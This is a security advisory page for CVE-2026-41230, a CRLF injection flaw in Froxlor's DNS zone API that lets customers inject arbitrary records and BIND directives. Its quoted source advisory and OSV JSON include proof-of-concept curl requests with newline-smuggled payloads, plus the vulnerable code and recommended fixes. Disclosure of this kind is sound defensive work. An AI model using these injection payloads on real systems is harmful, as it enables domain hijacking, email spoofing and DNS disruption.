CVE-2026-41230: Froxlor/froxlor :add() Vulnerability

HIGH
Advisory Identifier: GHSA-47hf-23pw-3m8c
CVSS 8.5
CWE-93
Published
Advisory Summary

CVE-2026-41230 is a HIGH (CVSS 8.5) :add() vulnerability (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) affecting Froxlor/froxlor libraries in the Packagist ecosystem. The issue involves :add(). Remediation is available by upgrading affected packages to version 2.3.6.

CVE-2026-41230 at a Glance

CVE Identifier CVE-2026-41230
GHSA Identifier GHSA-47hf-23pw-3m8c
Severity HIGH
CVSS v3.1 Base Score 8.5
CWE Classification CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Affected Product Froxlor/froxlor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-41230

To remediate this vulnerability, upgrade all affected Froxlor/froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.3.6
Upgrade froxlor/froxlor to 2.3.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41230, inspect your project dependencies for Froxlor/froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor/froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'), where the product uses crlf (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes crlf sequences from inputs. In Froxlor/froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain's zone file. ## Details **Missing type whitelist — `DomainZones.php:93`:** The `type` parameter is accepted directly from user input with no validation against allowed values: ```php // lib/Froxlor/Api/Commands/DomainZones.php:93 $type = $this->getParam('type', true, 'A'); ``` The if/elseif chain at lines 170-317 validates content only for 13 known types: `A`, `AAAA`, `CAA`, `CNAME`, `DNAME`, `LOC`, `MX`, `NS`, `RP`, `SRV`, `SSHFP`, `TLSA`, `TXT`. Any type not in this list falls through with no content validation at all. There is a `TODO` comment at line 148 acknowledging missing validation: ```php // TODO regex validate content for invalid characters ``` **Missing newline sanitization — `DomainZones.php:154`:** The content field only receives `trim()`, which strips leading/trailing whitespace but preserves embedded newline characters: ```php // lib/Froxlor/Api/Commands/DomainZones.php:154 $content = trim($content); ``` **Unsafe zone file output — `DnsEntry.php:83`:** `DnsEntry::__toString()` concatenates content directly into zone file format without escaping: ```php // lib/Froxlor/Dns/DnsEntry.php:83 return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" . (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . "\t" : "") . $_content . PHP_EOL; ``` Newlines in `$_content` produce new lines in the zone file, each parsed by BIND as an independent resource record or directive. **Zone file write — `Bind.php:121`:** ```php // lib/Froxlor/Cron/Dns/Bind.php:121 fwrite($zonefile_handler, $zoneContent . $subzones); ``` The `AntiXSS` filter applied at the API layer (`Api.php:91`) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (`formfield.dns_add.php:42-56`), but this is client-side only — the server-side `DomainZones::add()` has no corresponding whitelist. **Execution flow:** 1. Customer sends API request with `type=NAPTR` and `content` containing `\n`-separated lines 2. `getParam()` returns raw values without sanitization 3. Type `NAPTR` matches none of the if/elseif conditions — no content validation runs 4. `trim($content)` preserves embedded newlines 5. Content is inserted into `domain_dns` table via prepared statement 6. DNS cron creates `DnsEntry` objects from DB records (`Dns.php:297`) 7. `DnsEntry::__toString()` outputs content with embedded newlines into zone format 8. `Bind.php:121` writes zone to disk; BIND loads the file and processes injected lines as records ## PoC **Step 1: Inject a DNS record with embedded newlines via API** ```bash curl -s -X POST 'https://froxlor.example.com/api.php' \ -u 'APIKEY:APISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "id": 1, "type": "NAPTR", "content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ." } }' ``` Expected: HTTP 200 with success response. The record is stored in the database. **Step 2: Wait for DNS cron to rebuild zones (or trigger manually)** ```bash # As admin, trigger the DNS rebuild cron php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns ``` **Step 3: Inspect the generated zone file** ```bash cat /etc/bind/domains/example.com.zone ``` Expected zone file content includes injected lines: ``` @ 18000 IN NAPTR 100 10 "" "" "" . @ 300 IN A 1.2.3.4 @ 300 IN NAPTR 100 10 "" "" "" . ``` The line `@ 300 IN A 1.2.3.4` is parsed by BIND as an independent A record pointing the domain to the attacker's IP. **Step 4: Verify BIND directive injection** ```bash curl -s -X POST 'https://froxlor.example.com/api.php' \ -u 'APIKEY:APISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "id": 1, "type": "NAPTR", "content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com." } }' ``` This injects a `$GENERATE` directive that creates 255 PTR records. ## Impact An authenticated customer with DNS editing enabled can: 1. **Inject arbitrary DNS records** bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic. 2. **Manipulate email authentication** by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain. 3. **Inject BIND server directives** (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records. 4. **Cause DNS service disruption** by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain. While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity. ## Recommended Fix **1. Add a type whitelist in `DomainZones::add()` (primary fix):** ```php // lib/Froxlor/Api/Commands/DomainZones.php — after line 93 $type = $this->getParam('type', true, 'A'); $allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT']; if (!in_array($type, $allowed_types)) { throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406); } ``` **2. Strip newline characters from content (defense-in-depth):** ```php // lib/Froxlor/Api/Commands/DomainZones.php — replace line 154 $content = trim(str_replace(["\r", "\n"], '', $content)); ``` **3. Sanitize in `DnsEntry::__toString()` as a belt-and-suspenders measure:** ```php // lib/Froxlor/Dns/DnsEntry.php — at the start of __toString() $_content = str_replace(["\r", "\n"], '', $this->content); ```

CVE-2026-41230 Affected Froxlor/froxlor Versions

1 component(s)
Fixed Versions:
2.3.6
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
< 2.3.6
2.3.6

References

Frequently Asked Questions

What is CVE-2026-41230?
CVE-2026-41230 is a security vulnerability in Froxlor/froxlor involving :add() under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').
Which Froxlor/froxlor versions are affected?
Affected versions include releases prior to 2.3.6 across affected packages: froxlor/froxlor.
What version fixes CVE-2026-41230?
Upgrading to 2.3.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.3.6. Upgrade your dependency to 2.3.6 or later.
What is the CVSS score of CVE-2026-41230?
CVE-2026-41230 has a CVSS v3.1 base score of 8.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L.
What CWE is associated with CVE-2026-41230?
CVE-2026-41230 is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.).
How can I check Packagist dependencies for CVE-2026-41230?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-47hf-23pw-3m8c",
  "modified" : "2026-04-24T20:54:04Z",
  "published" : "2026-04-16T00:47:26Z",
  "aliases" : [ "CVE-2026-41230" ],
  "summary" : "Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()",
  "details" : "## Summary\n\n`DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain's zone file.\n\n## Details\n\n**Missing type whitelist — `DomainZones.php:93`:**\n\nThe `type` parameter is accepted directly from user input with no validation against allowed values:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:93\n$type = $this->getParam('type', true, 'A');\n```\n\nThe if/elseif chain at lines 170-317 validates content only for 13 known types: `A`, `AAAA`, `CAA`, `CNAME`, `DNAME`, `LOC`, `MX`, `NS`, `RP`, `SRV`, `SSHFP`, `TLSA`, `TXT`. Any type not in this list falls through with no content validation at all. There is a `TODO` comment at line 148 acknowledging missing validation:\n\n```php\n// TODO regex validate content for invalid characters\n```\n\n**Missing newline sanitization — `DomainZones.php:154`:**\n\nThe content field only receives `trim()`, which strips leading/trailing whitespace but preserves embedded newline characters:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:154\n$content = trim($content);\n```\n\n**Unsafe zone file output — `DnsEntry.php:83`:**\n\n`DnsEntry::__toString()` concatenates content directly into zone file format without escaping:\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php:83\nreturn $this->record . \"\\t\" . $this->ttl . \"\\t\" . $this->class . \"\\t\" . $this->type . \"\\t\"\n    . (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . \"\\t\" : \"\")\n    . $_content . PHP_EOL;\n```\n\nNewlines in `$_content` produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.\n\n**Zone file write — `Bind.php:121`:**\n\n```php\n// lib/Froxlor/Cron/Dns/Bind.php:121\nfwrite($zonefile_handler, $zoneContent . $subzones);\n```\n\nThe `AntiXSS` filter applied at the API layer (`Api.php:91`) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (`formfield.dns_add.php:42-56`), but this is client-side only — the server-side `DomainZones::add()` has no corresponding whitelist.\n\n**Execution flow:**\n1. Customer sends API request with `type=NAPTR` and `content` containing `\\n`-separated lines\n2. `getParam()` returns raw values without sanitization\n3. Type `NAPTR` matches none of the if/elseif conditions — no content validation runs\n4. `trim($content)` preserves embedded newlines\n5. Content is inserted into `domain_dns` table via prepared statement\n6. DNS cron creates `DnsEntry` objects from DB records (`Dns.php:297`)\n7. `DnsEntry::__toString()` outputs content with embedded newlines into zone format\n8. `Bind.php:121` writes zone to disk; BIND loads the file and processes injected lines as records\n\n## PoC\n\n**Step 1: Inject a DNS record with embedded newlines via API**\n\n```bash\ncurl -s -X POST 'https://froxlor.example.com/api.php' \\\n  -u 'APIKEY:APISECRET' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"id\": 1,\n      \"type\": \"NAPTR\",\n      \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n@ 300 IN A 1.2.3.4\\n@ 300 IN NAPTR 100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\"\n    }\n  }'\n```\n\nExpected: HTTP 200 with success response. The record is stored in the database.\n\n**Step 2: Wait for DNS cron to rebuild zones (or trigger manually)**\n\n```bash\n# As admin, trigger the DNS rebuild cron\nphp /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns\n```\n\n**Step 3: Inspect the generated zone file**\n\n```bash\ncat /etc/bind/domains/example.com.zone\n```\n\nExpected zone file content includes injected lines:\n\n```\n@    18000    IN    NAPTR    100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" .\n```\n\nThe line `@ 300 IN A 1.2.3.4` is parsed by BIND as an independent A record pointing the domain to the attacker's IP.\n\n**Step 4: Verify BIND directive injection**\n\n```bash\ncurl -s -X POST 'https://froxlor.example.com/api.php' \\\n  -u 'APIKEY:APISECRET' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"id\": 1,\n      \"type\": \"NAPTR\",\n      \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com.\"\n    }\n  }'\n```\n\nThis injects a `$GENERATE` directive that creates 255 PTR records.\n\n## Impact\n\nAn authenticated customer with DNS editing enabled can:\n\n1. **Inject arbitrary DNS records** bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.\n2. **Manipulate email authentication** by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.\n3. **Inject BIND server directives** (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.\n4. **Cause DNS service disruption** by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.\n\nWhile this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.\n\n## Recommended Fix\n\n**1. Add a type whitelist in `DomainZones::add()` (primary fix):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php — after line 93\n$type = $this->getParam('type', true, 'A');\n\n$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];\nif (!in_array($type, $allowed_types)) {\n    throw new Exception(\"DNS record type '\" . htmlspecialchars($type) . \"' is not supported\", 406);\n}\n```\n\n**2. Strip newline characters from content (defense-in-depth):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154\n$content = trim(str_replace([\"\\r\", \"\\n\"], '', $content));\n```\n\n**3. Sanitize in `DnsEntry::__toString()` as a belt-and-suspenders measure:**\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()\n$_content = str_replace([\"\\r\", \"\\n\"], '', $this->content);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41230"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/commit/47a8af5d9523cb6ec94567405cfc2e294d3a1442"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-93" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T00:47:26Z",
    "nvd_published_at" : "2026-04-23T04:16:19Z"
  }
}